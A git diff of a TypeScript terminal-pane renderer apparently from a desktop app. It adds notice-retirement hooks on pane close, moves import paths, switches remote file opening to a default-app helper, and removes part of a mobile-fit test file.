diff --git a/src/renderer/src/components/terminal-pane/layout/close/closed-terminal-leaf-notice.ts b/src/renderer/src/components/terminal-pane/layout/close/closed-terminal-leaf-notice.ts
index 7c32233e608..a58bbc58049 100644
--- a/src/renderer/src/components/terminal-pane/layout/close/closed-terminal-leaf-notice.ts
+++ b/src/renderer/src/components/terminal-pane/layout/close/closed-terminal-leaf-notice.ts
@@ -1,6 +1,10 @@
+import { captureTerminalPaneNoticeRetirement } from '../../mounting/terminal-pane-notice-retirement'
 import { CLOSE_TERMINAL_PANE_EVENT, type CloseTerminalPaneDetail } from '@/constants/terminal'
 import { collapseParkedTerminalLeaf } from '../../parking/output-watchers/terminal-parked-pty-watcher'
-import { isTerminalTabParked } from '../../parking/output-watchers/terminal-parked-watcher-registry'
+import {
+  capturedPanesByTabId,
+  isTerminalTabParked
+} from '../../parking/output-watchers/terminal-parked-watcher-registry'
 import type { TerminalTabCloseIntent } from '../../../terminal/terminal-tab-close-intent'
 
 /** Remove main-closed leaves idempotently so this notice and local exit handling can arrive in either order. */
@@ -9,6 +13,18 @@ export function applyClosedTerminalLeafNotice(
   leafId: string,
   lastPaneCloseReason: TerminalTabCloseIntent
 ): void {
+  const captured = capturedPanesByTabId.get(tabId)
+  const pane = captured?.panes.find((candidate) => candidate.leafId === leafId)
+  if (pane?.noticeLifetime) {
+    const retireNotice = captureTerminalPaneNoticeRetirement({
+      tabId,
+      leafId,
+      worktreeId: captured!.worktreeId,
+      lifetime: pane.noticeLifetime
+    })
+    delete pane.noticeLifetime
+    retireNotice()
+  }
   if (isTerminalTabParked(tabId)) {
     collapseParkedTerminalLeaf(tabId, leafId)
     return
diff --git a/src/renderer/src/components/terminal-pane/layout/close/layout-owner-pane-close-command.ts b/src/renderer/src/components/terminal-pane/layout/close/layout-owner-pane-close-command.ts
index 4f460b3e1d7..8928d32e45c 100644
--- a/src/renderer/src/components/terminal-pane/layout/close/layout-owner-pane-close-command.ts
+++ b/src/renderer/src/components/terminal-pane/layout/close/layout-owner-pane-close-command.ts
@@ -14,6 +14,7 @@ function sendPaneCloseToLayoutOwner(
     lastPane: () => void
     /** Close locally if main already removed the pane or no frame stream can deliver its removal. */
     closeHere: () => void
+    accepted?: () => void
   }
 ): boolean {
   const { tabId, leafId } = pane
@@ -23,6 +24,7 @@ function sendPaneCloseToLayoutOwner(
     { type: 'closePane', tabId, leafId },
     {
       apply: (result) => {
+        on.accepted?.()
         // Already gone from main's copy (a workspace it lacks): no frame will drop it.
         if (result.alreadyClosed || !layoutFramesFlowing()) {
           forget()
@@ -53,12 +55,14 @@ export function sendUserPaneCloseToLayoutOwner(
     getManager: () => PaneManager | null
     closeTab: () => void
     closePaneLocally: (paneId: number, committedLeafId?: string) => void
+    onAcceptedClose?: () => void
   }
 ): boolean {
   const { tabId, leafId, paneId } = pane
   return sendPaneCloseToLayoutOwner(
     { worktreeId: pane.worktreeId, tabId, leafId },
     {
+      accepted: tab.onAcceptedClose,
       asToday: () => tab.closePaneLocally(paneId),
       lastPane: () =>
         closeAfterLastPaneRefusal(
diff --git a/src/renderer/src/components/terminal-pane/layout/close/retire-unbound-ipc-terminal-pane.ts b/src/renderer/src/components/terminal-pane/layout/close/retire-unbound-ipc-terminal-pane.ts
index c100b0f45d5..9f3ebf911a5 100644
--- a/src/renderer/src/components/terminal-pane/layout/close/retire-unbound-ipc-terminal-pane.ts
+++ b/src/renderer/src/components/terminal-pane/layout/close/retire-unbound-ipc-terminal-pane.ts
@@ -1,3 +1,4 @@
+import { captureTerminalPaneNoticeRetirement } from '../../mounting/terminal-pane-notice-retirement'
 import {
   buildTerminalTabRetirementPlan,
   getTerminalPtyOwnershipIdentity
@@ -33,6 +34,14 @@ export function retireUnboundIpcTerminalPane(args: UnboundTerminalPaneRetirement
   if (hasOtherOwner(leafId)) {
     return
   }
+  const retireNotice = captureTerminalPaneNoticeRetirement({
+    tabId,
+    leafId,
+    worktreeId: plan.worktreeId,
+    ptyId,
+    transport,
+    getTransports: args.getTransports
+  })
   const retirementPlan = {
     ...plan,
     ptyIds: [ptyId],
@@ -59,9 +68,11 @@ export function retireUnboundIpcTerminalPane(args: UnboundTerminalPaneRetirement
       // A replacement can own even this same leaf by the time the reply arrives.
       if (!hasOtherOwner()) {
         requestRetirement()
+        retireNotice()
       }
       return true
     }
   })
   requestRetirement()
+  retireNotice()
 }
diff --git a/src/renderer/src/components/terminal-pane/layout/close/use-terminal-pane-close-actions.ts b/src/renderer/src/components/terminal-pane/layout/close/use-terminal-pane-close-actions.ts
index afa1fe390e3..8667d0bf644 100644
--- a/src/renderer/src/components/terminal-pane/layout/close/use-terminal-pane-close-actions.ts
+++ b/src/renderer/src/components/terminal-pane/layout/close/use-terminal-pane-close-actions.ts
@@ -1,3 +1,4 @@
+import { captureTerminalPaneNoticeRetirement } from '../../mounting/terminal-pane-notice-retirement'
 import { useTerminalSelectionSearch } from '../../search/use-terminal-selection-search'
 import { useCallback, useEffect, useRef } from 'react'
 import { onActiveTerminalPaneCloseRequest } from './request-active-terminal-pane-close'
@@ -111,6 +112,19 @@ export function useTerminalPaneCloseActions(controller: TerminalPaneBindingContr
         return
       }
       const leafId = manager.getLeafId(paneId)
+      const transport = paneTransportsRef.current.get(paneId)
+      const retireNotice = leafId
+        ? captureTerminalPaneNoticeRetirement({
+            tabId,
+            worktreeId,
+            leafId,
+            transport,
+            ptyId:
+              transport?.getPtyId() ??
+              useAppStore.getState().terminalLayoutsByTabId[tabId]?.ptyIdsByLeafId?.[leafId],
+            getTransports: () => paneTransportsRef.current
+          })
+        : undefined
       // Switch point: main closes the pane first; the window removes it when main's frame does.
       if (
         ORCA_LAYOUT_OWNER_IS_MAIN &&
@@ -118,6 +132,7 @@ export function useTerminalPaneCloseActions(controller: TerminalPaneBindingContr
         sendUserPaneCloseToLayoutOwner(
           { worktreeId, tabId, leafId, paneId },
           {
+            onAcceptedClose: retireNotice,
             getManager: () => managerRef.current,
             closeTab: () => onCloseTab(reason),
             closePaneLocally: (id, committedLeafId) => closePaneLocally(id, committedLeafId, reason)
@@ -128,7 +143,7 @@ export function useTerminalPaneCloseActions(controller: TerminalPaneBindingContr
       }
       closePaneLocally(paneId, undefined, reason)
     },
-    [closePaneLocally, onCloseTab, tabId, worktreeId, managerRef]
+    [closePaneLocally, onCloseTab, tabId, worktreeId, managerRef, paneTransportsRef]
   )
   const getCloseDialogCopyKind = useCallback(
     (paneId: number) => resolveLeafCloseCopyKind(tabId, managerRef.current?.getLeafId(paneId)),
diff --git a/src/renderer/src/components/terminal-pane/layout/expand/expanded-pane-layout.ts b/src/renderer/src/components/terminal-pane/layout/expand/expanded-pane-layout.ts
index 7e8cfba2c16..569392718a9 100644
--- a/src/renderer/src/components/terminal-pane/layout/expand/expanded-pane-layout.ts
+++ b/src/renderer/src/components/terminal-pane/layout/expand/expanded-pane-layout.ts
@@ -1,7 +1,7 @@
 import { useMemo } from 'react'
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
-import { safeFit } from '@/lib/pane-manager/pane-fit'
-import { focusPanePreservingOverlays } from '@/lib/pane-manager/pane-overlay-focus'
+import { safeFit } from '@/lib/pane-manager/terminal-fit/pane-fit'
+import { focusPanePreservingOverlays } from '@/lib/pane-manager/pane-focus/pane-overlay-focus'
 
 type ExpandCollapseState = {
   expandedPaneIdRef: React.MutableRefObject<number | null>
diff --git a/src/renderer/src/components/terminal-pane/layout/isolation/use-terminal-pane-activity-isolation.ts b/src/renderer/src/components/terminal-pane/layout/isolation/use-terminal-pane-activity-isolation.ts
index bb3888423cd..00021042c6b 100644
--- a/src/renderer/src/components/terminal-pane/layout/isolation/use-terminal-pane-activity-isolation.ts
+++ b/src/renderer/src/components/terminal-pane/layout/isolation/use-terminal-pane-activity-isolation.ts
@@ -4,7 +4,7 @@ import {
   cancelPendingPaneSizeRefreshFrames,
   restoreExpandedLayoutFrom
 } from '../expand/expanded-pane-layout'
-import { safeFit } from '@/lib/pane-manager/pane-fit'
+import { safeFit } from '@/lib/pane-manager/terminal-fit/pane-fit'
 import { resolvePaneKeyForManager } from '@/lib/pane-manager/pane-key-resolution'
 import type { TerminalPaneCloseController } from '../close/use-terminal-pane-close-actions'
 
diff --git a/src/renderer/src/components/terminal-pane/layout/ownership/use-saved-pane-pty-bindings.ts b/src/renderer/src/components/terminal-pane/layout/ownership/use-saved-pane-pty-bindings.ts
index 5b0cd90f87a..b7acfc91dfc 100644
--- a/src/renderer/src/components/terminal-pane/layout/ownership/use-saved-pane-pty-bindings.ts
+++ b/src/renderer/src/components/terminal-pane/layout/ownership/use-saved-pane-pty-bindings.ts
@@ -1,5 +1,5 @@
 import { useLayoutEffect } from 'react'
-import { bindPanePtyId } from '@/lib/pane-manager/mobile-fit-overrides'
+import { bindPanePtyId } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import type { TerminalPaneCloseController } from '../close/use-terminal-pane-close-actions'
 
 export function useSavedPanePtyBindings({
diff --git a/src/renderer/src/components/terminal-pane/layout/split/terminal-pane-split-in-main.ts b/src/renderer/src/components/terminal-pane/layout/split/terminal-pane-split-in-main.ts
index 5ce2c96ec7b..8b2fd08e878 100644
--- a/src/renderer/src/components/terminal-pane/layout/split/terminal-pane-split-in-main.ts
+++ b/src/renderer/src/components/terminal-pane/layout/split/terminal-pane-split-in-main.ts
@@ -1,7 +1,7 @@
 // Main writes/starts splits under the window pane ID; frame reconciliation draws and attaches its terminal.
 import type { TerminalPaneSplitSource } from '../../../../../../shared/feature-education-telemetry'
 import { runtimeEnvironmentIdUnlessTwin } from '@/lib/workspace/ownership/resolve-owner'
-import { mintStablePaneId } from '@/lib/pane-manager/mint-stable-pane-id'
+import { mintStablePaneId } from '@/lib/pane-manager/pane-layout/mint-stable-pane-id'
 import { refusalActsAsToday } from '@/runtime/workspace-layout/commands/layout-apply-send'
 import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call'
 import { serverLayoutApplyRoute } from '@/runtime/workspace-layout/server/server-layout-apply-routes'
diff --git a/src/renderer/src/components/terminal-pane/layout/terminal-layout-dom-serialization.ts b/src/renderer/src/components/terminal-pane/layout/terminal-layout-dom-serialization.ts
index 7cd73cd1443..91b071ee2f2 100644
--- a/src/renderer/src/components/terminal-pane/layout/terminal-layout-dom-serialization.ts
+++ b/src/renderer/src/components/terminal-pane/layout/terminal-layout-dom-serialization.ts
@@ -3,7 +3,7 @@ import type {
   TerminalPaneLayoutNode
 } from '../../../../../shared/workspace-layout/terminal-tab-types'
 import { isTerminalLeafId } from '../../../../../shared/workspace-layout/stable-pane-id'
-import { readSplitRatio } from '@/lib/pane-manager/pane-split-ratio'
+import { readSplitRatio } from '@/lib/pane-manager/pane-layout/pane-split-ratio'
 import { SPLIT_RATIO_TOLERANCE } from '../../../../../shared/workspace-layout/terminal-pane-tree'
 
 export function getLayoutChildNodes(split: HTMLElement): HTMLElement[] {
diff --git a/src/renderer/src/components/terminal-pane/layout/terminal-layout-normalization.ts b/src/renderer/src/components/terminal-pane/layout/terminal-layout-normalization.ts
index c8739c9d57a..3cc62c3c32e 100644
--- a/src/renderer/src/components/terminal-pane/layout/terminal-layout-normalization.ts
+++ b/src/renderer/src/components/terminal-pane/layout/terminal-layout-normalization.ts
@@ -7,7 +7,7 @@ import {
   isTerminalLeafId,
   type TerminalLeafId
 } from '../../../../../shared/workspace-layout/stable-pane-id'
-import { mintStablePaneId } from '@/lib/pane-manager/mint-stable-pane-id'
+import { mintStablePaneId } from '@/lib/pane-manager/pane-layout/mint-stable-pane-id'
 import { normalizeTerminalLayoutPtyOwnership } from '../../../../../shared/workspace-layout/terminal-layout-pty-ownership'
 import { resolveRootlessTerminalLayoutLeafId } from '../../../../../shared/workspace-layout/terminal-pane-tree'
 
diff --git a/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-actions.ts b/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-actions.ts
index 4b423f485f1..130a8ccd0b8 100644
--- a/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-actions.ts
+++ b/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-actions.ts
@@ -1,6 +1,3 @@
-import type { FileOpenFailure } from './terminal-file-open-failure'
-import type { LinkActionRequest } from '@/components/link-actions/link-action-request'
-import type { HttpLinkSourceOwner } from '@/lib/browser/navigation/http-link-routing'
 import { buildHttpLinkActions } from '@/lib/browser/navigation/http-link-destinations'
 import { openDetectedFilePath } from './terminal-file-open-routing'
 import {
@@ -11,13 +8,10 @@ import {
 } from '../../host-files/terminal-file-path-mapping'
 import { isHtmlFilePath, localHtmlFileDestinations } from './local-html-file-destinations'
 import { isTerminalLinkDirectActivation } from '../gestures/terminal-link-activation'
-import {
-  requestTerminalLinkAction,
-  type TerminalLinkActionContext
-} from '../terminal-link-action-request'
+import { requestTerminalLinkAction } from '../terminal-link-action-request'
+import type { TerminalLinkActionContext } from '../terminal-link-action-request'
 import { resolveKnownWorktreeRootPathLink } from './terminal-worktree-path-link'
 import { translate } from '@/i18n/i18n'
-import type { Translate } from '@/i18n/use-translate'
 import {
   getRevealInFileManagerLabel,
   revealInFileManager
@@ -28,7 +22,11 @@ import {
   isLocalPathOpenBlocked
 } from '@/lib/files/os-open/local-path-open-guard'
 import '@/store/slices/editor/tabs/editor-open-target-group'
-import { canOpenLinkInSourceGroup } from '@/lib/link-open-intent'
+import { canOpenLinkInSourceGroup } from '@/lib/links/placement/link-open-intent'
+import type { FileOpenFailure } from './terminal-file-open-failure'
+import type { LinkActionRequest } from '@/components/link-actions/link-action-request'
+import type { HttpLinkSourceOwner } from '@/lib/browser/navigation/http-link-routing'
+import type { Translate } from '@/i18n/use-translate'
 
 export type TerminalFileLinkActionDeps = {
   worktreeId: string
diff --git a/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-browser-open.ts b/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-browser-open.ts
index d6d3057d115..4f006012ef7 100644
--- a/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-browser-open.ts
+++ b/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-browser-open.ts
@@ -1,19 +1,17 @@
-import { getWorkspaceClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
+import { getWorkspaceClientCreationActionPolicy } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
 import { absolutePathToFileUri } from '@/components/editor/markdown/link-routing/markdown-internal-links'
 import { useAppStore } from '@/store/index'
-import {
-  openPlannedFileBrowserLink,
-  type FileBrowserLinkTarget
-} from '@/lib/browser/documents/file-preview-link-open'
-import type {
-  BrowserLinkOpenContext,
-  BrowserOpenOutcome
-} from '@/lib/browser/navigation/browser-link-destination'
+import { openPlannedFileBrowserLink } from '@/lib/browser/documents/file-preview-link-open'
+import type { FileBrowserLinkTarget } from '@/lib/browser/documents/file-preview-link-open'
 import { activateAndRevealWorkspace } from '@/lib/workspace/activation/worktree-activation'
 import {
   getWorkspaceFilePreviewPlan,
   openFileInBrowserTab
 } from '@/lib/browser/documents/file-preview'
+import type {
+  BrowserLinkOpenContext,
+  BrowserOpenOutcome
+} from '@/lib/browser/navigation/browser-link-destination'
 
 export async function openResolvedHtmlFileInBrowser(
   params: FileBrowserLinkTarget & {
diff --git a/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-editor-open.ts b/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-editor-open.ts
index 4a92ecaa3b7..f1287ffade6 100644
--- a/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-editor-open.ts
+++ b/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-editor-open.ts
@@ -2,14 +2,14 @@ import { detectLanguage } from '../../../../../../shared/editor-language/editor-
 import { useAppStore } from '@/store/index'
 import { scheduleEditorLineReveal } from '@/store/slices/editor/focus/editor-focus-reveal'
 import '@/store/slices/editor/tabs/editor-open-target-group'
-import { isLiveLinkOpenGroup as isLiveEditorOpenGroup } from '@/lib/link-open-intent'
+import { isLiveLinkOpenGroup as isLiveEditorOpenGroup } from '@/lib/links/placement/link-open-intent'
+import { flashRevealedEditorView } from '@/components/tab-group/editor-reveal-flash'
 import type { OpenFile } from '@/store/slices/editor/types/open-file'
 import type {
   EditorOpenLinkIntent,
   EditorOpenResult
 } from '@/store/slices/editor/types/editor-open-link-intent'
 import type { ExecutionHostId } from '../../../../../../shared/execution-host'
-import { flashRevealedEditorView } from '@/components/tab-group/editor-reveal-flash'
 
 /** An explicit group request may only end in an editor in the scope it was captured from. */
 export function isExplicitEditorScopeKept(
diff --git a/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-hit-testing.ts b/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-hit-testing.ts
index f838205f709..82d482aa998 100644
--- a/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-hit-testing.ts
+++ b/src/renderer/src/components/terminal-pane/links/files/terminal-file-link-hit-testing.ts
@@ -1,25 +1,22 @@
-import type { FileOpenFailure } from './terminal-file-open-failure'
-import {
-  readTerminalPathExistence,
-  type TerminalPathExistsCache
-} from './terminal-path-exists-cache'
-import type { IBufferLine } from '@xterm/xterm'
+import { readTerminalPathExistence } from './terminal-path-exists-cache'
+import type { TerminalPathExistsCache } from './terminal-path-exists-cache'
 import { findTerminalFileLinksAtBufferPosition } from '../../../../../../shared/terminal/links/terminal-link-buffer-hit-testing'
 import { terminalLogicalLinkHasOscLink } from '../../../../../../shared/terminal/links/terminal-osc-link-cells'
 import { openDetectedFilePath } from './terminal-file-open-routing'
 import { getTerminalFileContext } from '../../host-files/terminal-file-path-mapping'
 import type { TerminalFileContext } from '../../host-files/terminal-file-path-mapping'
-import { beginLinkOpenRequest as reserveDetectedFilePathOpenTurn } from '@/lib/link-open-request'
+import { beginLinkOpenRequest as reserveDetectedFilePathOpenTurn } from '@/lib/links/link-open-request'
 import {
   fileLinkTargetExists,
   mayCheckFileLinkTargetUnprompted,
-  resolveFileLinkTarget,
-  type FileLinkHost,
-  type FileLinkTarget
+  resolveFileLinkTarget
 } from './terminal-file-link-target'
+import type { FileLinkHost, FileLinkTarget } from './terminal-file-link-target'
 import { createTerminalPathExistenceBatch } from './terminal-path-existence-batch'
 import { runtimeTargetEnvironmentId } from '@/runtime/rpc/targets/runtime-client-target'
 import { getRuntimeEnvironmentRevision } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
+import type { FileOpenFailure } from './terminal-file-open-failure'
+import type { IBufferLine } from '@xterm/xterm'
 
 type FileLinkHitTestDeps = {
   startupCwd: string
diff --git a/src/renderer/src/components/terminal-pane/links/files/terminal-file-open-routing.ts b/src/renderer/src/components/terminal-pane/links/files/terminal-file-open-routing.ts
index d0d4e5ac96e..9928429ddea 100644
--- a/src/renderer/src/components/terminal-pane/links/files/terminal-file-open-routing.ts
+++ b/src/renderer/src/components/terminal-pane/links/files/terminal-file-open-routing.ts
@@ -1,4 +1,3 @@
-import type { FileOpenFailure } from './terminal-file-open-failure'
 import { downloadAndOpenRemoteTerminalFile } from './terminal-remote-file-download-open'
 import { isMissingRuntimePathError } from '@/runtime/files/metadata/runtime-file-metadata-client'
 import { useAppStore } from '@/store/index'
@@ -25,23 +24,20 @@ import {
   CLIENT_LOCAL_FILE_TARGET,
   hostGrantedEditorFields,
   resolveHostWorkspaceFile,
-  revealHostWorkspaceRoot,
-  type HostWorkspaceFile
+  revealHostWorkspaceRoot
 } from '../../host-files/terminal-host-workspace-file'
+import type { HostWorkspaceFile } from '../../host-files/terminal-host-workspace-file'
 import { captureEditorOpenLinkIntent } from '@/store/slices/editor/tabs/editor-open-target-group'
-import { beginLinkOpenRequest as reserveDetectedFilePathOpenTurn } from '@/lib/link-open-request'
+import { beginLinkOpenRequest as reserveDetectedFilePathOpenTurn } from '@/lib/links/link-open-request'
 import { openTerminalHtmlFileInBrowser } from './terminal-file-link-browser-open'
-
 import { refuseOpenInGroupRequest } from './terminal-file-open-in-group-toast'
 import { isExplicitEditorScopeKept, openLinkedFileInEditor } from './terminal-file-link-editor-open'
 import { resolveLinkedFileEditorTarget } from '../../host-files/terminal-file-editor-target'
-
 import { runtimeTargetEnvironmentId } from '@/runtime/rpc/targets/runtime-client-target'
-import {
-  httpLinkDirectClickDestination,
-  type HttpLinkDestination
-} from '@/lib/browser/navigation/http-link-destinations'
+import { httpLinkDirectClickDestination } from '@/lib/browser/navigation/http-link-destinations'
+import type { HttpLinkDestination } from '@/lib/browser/navigation/http-link-destinations'
 import { isHtmlFilePath, localHtmlFileDestinations } from './local-html-file-destinations'
+import type { FileOpenFailure } from './terminal-file-open-failure'
 
 type TerminalFileOpenDeps = {
   worktreeId: string
diff --git a/src/renderer/src/components/terminal-pane/links/files/terminal-remote-file-download-open.ts b/src/renderer/src/components/terminal-pane/links/files/terminal-remote-file-download-open.ts
index caa85c74ffe..3a253949dc6 100644
--- a/src/renderer/src/components/terminal-pane/links/files/terminal-remote-file-download-open.ts
+++ b/src/renderer/src/components/terminal-pane/links/files/terminal-remote-file-download-open.ts
@@ -1,12 +1,11 @@
-import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host'
 import { toast } from 'sonner'
 import { translate } from '@/i18n/i18n'
 import { extractIpcErrorMessage } from '@/runtime/errors/ipc-error'
 import { basename } from '@/lib/path'
-import { downloadRuntimeFile } from '@/runtime/files/reads/runtime-file-read-client'
-import { downloadGrantedRuntimeFile } from '@/runtime/files/reads/runtime-remote-file-download'
+import { openRuntimeFileWithDefaultApp } from '@/runtime/files/reads/runtime-file-default-app-open'
+import { getRelativePathInsideWorktree } from '@/runtime/files/runtime-file-routing'
 import { hostStreamsGrantedFiles } from '@/runtime/files/grants/runtime-terminal-artifact-grant'
-import { isPairedWebClientWindow } from '@/lib/desktop-window-chrome'
+import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome'
 import type { RuntimeFileOperationArgs } from '@/runtime/files/runtime-file-client-types'
 
 /**
@@ -25,7 +24,6 @@ export async function downloadAndOpenRemoteTerminalFile(
 ): Promise<boolean> {
   const name = basename(filePath) || filePath
   const { target, worktreeId } = fileContext
-  let granted: Parameters<typeof downloadGrantedRuntimeFile>[0] | null = null
   if (grant) {
     if (
       // Why: a paired web client has no local file to stream into.
@@ -40,18 +38,18 @@ export async function downloadAndOpenRemoteTerminalFile(
     if (!isCurrent()) {
       return true
     }
-    granted = { target, worktreeId, absolutePath: filePath, grantId: grant.terminalArtifactGrantId }
   }
   try {
-    const result = fileContext.connectionId
-      ? await window.api.fs.downloadFile({ filePath, connectionId: fileContext.connectionId })
-      : granted
-        ? await downloadGrantedRuntimeFile(granted, name)
-        : await downloadRuntimeFile(fileContext, filePath, name)
-    // Why: cancelling the native save dialog is a deliberate no-op, not a failure.
-    if (!result.canceled) {
-      await window.api.shell.openFilePath(result.destinationPath, LOCAL_EXECUTION_HOST_ID)
-    }
+    await openRuntimeFileWithDefaultApp({
+      target,
+      filePath,
+      relativePath: getRelativePathInsideWorktree(fileContext.worktreePath, filePath) ?? filePath,
+      worktreeId: worktreeId ?? undefined,
+      connectionId: fileContext.connectionId,
+      expectedExternalSshTargetId: fileContext.expectedExternalSshTargetId,
+      expectedEnvironmentPairingRevision: fileContext.expectedEnvironmentPairingRevision,
+      terminalArtifactGrantId: grant?.terminalArtifactGrantId
+    })
   } catch (error) {
     toast.error(
       extractIpcErrorMessage(
diff --git a/src/renderer/src/components/terminal-pane/links/http/terminal-url-link-hit-testing.ts b/src/renderer/src/components/terminal-pane/links/http/terminal-url-link-hit-testing.ts
index 54717c33414..278012948cb 100644
--- a/src/renderer/src/components/terminal-pane/links/http/terminal-url-link-hit-testing.ts
+++ b/src/renderer/src/components/terminal-pane/links/http/terminal-url-link-hit-testing.ts
@@ -10,7 +10,7 @@ import {
 } from '../gestures/terminal-link-pty-mouse-suppression'
 import { getTerminalBufferPositionForMouseEvent } from '../../input/pointer/terminal-mouse-buffer-position'
 import { findTerminalHttpLinkAtBufferPosition } from '../../../../../../shared/terminal/links/terminal-link-buffer-hit-testing'
-import { isTerminalLinkifierHoverActive } from '@/lib/pane-manager/terminal-linkifier-hover-reset'
+import { isTerminalLinkifierHoverActive } from '@/lib/pane-manager/terminal-input/terminal-linkifier-hover-reset'
 import {
   buildHttpLinkActions,
   httpLinkDirectClickDestination,
diff --git a/src/renderer/src/components/terminal-pane/mobile-driver/RemoteViewportHeldChip.tsx b/src/renderer/src/components/terminal-pane/mobile-driver/RemoteViewportHeldChip.tsx
index 892ec38a6ec..bfed2b7a0f3 100644
--- a/src/renderer/src/components/terminal-pane/mobile-driver/RemoteViewportHeldChip.tsx
+++ b/src/renderer/src/components/terminal-pane/mobile-driver/RemoteViewportHeldChip.tsx
@@ -2,7 +2,7 @@ import { useEffect, useId, useState, type ReactElement } from 'react'
 import { Monitor } from 'lucide-react'
 import { Button } from '@/components/ui/button'
 import { useTranslate } from '@/i18n/use-translate'
-import type { FitHoldMode } from '@/lib/pane-manager/mobile-fit-overrides'
+import type { FitHoldMode } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
 
 type Grid = { cols: number; rows: number }
diff --git a/src/renderer/src/components/terminal-pane/mobile-driver/TerminalPaneMobileDriverPortals.tsx b/src/renderer/src/components/terminal-pane/mobile-driver/TerminalPaneMobileDriverPortals.tsx
index b9e3d86403a..9241e89fc2a 100644
--- a/src/renderer/src/components/terminal-pane/mobile-driver/TerminalPaneMobileDriverPortals.tsx
+++ b/src/renderer/src/components/terminal-pane/mobile-driver/TerminalPaneMobileDriverPortals.tsx
@@ -2,7 +2,7 @@ import { createPortal } from 'react-dom'
 import { MobileDriverOverlay } from './MobileDriverOverlay'
 import { HeldPaneRemoteViewportChip } from './RemoteViewportHeldChip'
 import { getDriverForPty } from '../../../lib/pane-manager/mobile-driver-state'
-import { getFitOverrideForPty } from '../../../lib/pane-manager/mobile-fit-overrides'
+import { getFitOverrideForPty } from '../../../lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import { shouldShowMobileDriverOverlay } from './mobile-driver-overlay-visibility'
 import { shouldChatTakeOverMobileSurface } from '../../native-chat/host-access/native-chat-send-eligibility'
 import type { TerminalPaneController } from '../controller/use-terminal-pane-controller'
diff --git a/src/renderer/src/components/terminal-pane/mobile-driver/mobile-driver-overlay-visibility.ts b/src/renderer/src/components/terminal-pane/mobile-driver/mobile-driver-overlay-visibility.ts
index 82534030454..94f691abe88 100644
--- a/src/renderer/src/components/terminal-pane/mobile-driver/mobile-driver-overlay-visibility.ts
+++ b/src/renderer/src/components/terminal-pane/mobile-driver/mobile-driver-overlay-visibility.ts
@@ -1,4 +1,4 @@
-import type { FitHoldMode } from '@/lib/pane-manager/mobile-fit-overrides'
+import type { FitHoldMode } from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 
 export function shouldShowMobileDriverOverlay(
   driverKind: 'idle' | 'desktop' | 'mobile',
diff --git a/src/renderer/src/components/terminal-pane/mobile-driver/use-mobile-overlay-ticks-desktop-fit.test.tsx b/src/renderer/src/components/terminal-pane/mobile-driver/use-mobile-overlay-ticks-desktop-fit.test.tsx
deleted file mode 100644
index 700642ed9b3..00000000000
--- a/src/renderer/src/components/terminal-pane/mobile-driver/use-mobile-overlay-ticks-desktop-fit.test.tsx
+++ /dev/null
@@ -1,250 +0,0 @@
-// @vitest-environment happy-dom
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { act, cleanup, render } from '@testing-library/react'
-import { hydrateOverrides, setFitOverride } from '@/lib/pane-manager/mobile-fit-overrides'
-import type { PaneManager } from '@/lib/pane-manager/pane-manager'
-import type { PtyTransport } from '../pty-transport/pty-transport-types'
-import { useMobileOverlayTicks } from './use-mobile-overlay-ticks'
-import {
-  beginTerminalScrollIntentBufferRebuild,
-  endTerminalScrollIntentBufferRebuild
-} from '@/lib/pane-manager/terminal-scroll-intent-rebuild'
-
-type TestPane = {
-  id: number
-  terminal: {
-    buffer: { active: { type: 'normal'; viewportY: number; baseY: number } }
-    cols: number
-    rows: number
-    refresh: ReturnType<typeof vi.fn>
-    resize: ReturnType<typeof vi.fn>
-  }
-  container: {
-    dataset: Record<string, string>
-    getBoundingClientRect: () => { width: number; height: number }
-  }
-  fitAddon: {
-    fit: ReturnType<typeof vi.fn>
-    proposeDimensions: ReturnType<typeof vi.fn>
-  }
-}
-
-function createPane(): TestPane {
-  const terminal = {
-    buffer: { active: { type: 'normal' as const, viewportY: 0, baseY: 0 } },
-    cols: 49,
-    rows: 20,
-    refresh: vi.fn(),
-    resize: vi.fn((cols: number, rows: number) => {
-      terminal.cols = cols
-      terminal.rows = rows
-    })
-  }
-  return {
-    id: 1,
-    terminal,
-    container: {
-      dataset: { ptyId: 'pty-1' },
-      getBoundingClientRect: () => ({ width: 800, height: 600 })
-    },
-    fitAddon: {
-      fit: vi.fn(() => {
-        terminal.cols = 120
-        terminal.rows = 40
-      }),
-      proposeDimensions: vi.fn(() => ({ cols: 120, rows: 40 }))
-    }
-  }
-}
-
-function HookHost({
-  managerRef,
-  paneTransportsRef
-}: {
-  managerRef: { current: PaneManager | null }
-  paneTransportsRef: { current: ReadonlyMap<number, Pick<PtyTransport, 'getPtyId'>> }
-}): null {
-  useMobileOverlayTicks({ managerRef, paneTransportsRef })
-  return null
-}
-
-describe('useMobileOverlayTicks desktop-fit restore', () => {
-  let rafQueue: FrameRequestCallback[]
-
-  function flushAnimationFrames(): void {
-    const queued = rafQueue
-    rafQueue = []
-    act(() => {
-      for (const callback of queued) {
-        callback(16)
-      }
-    })
-  }
-
-  beforeEach(() => {
-    rafQueue = []
-    vi.useFakeTimers()
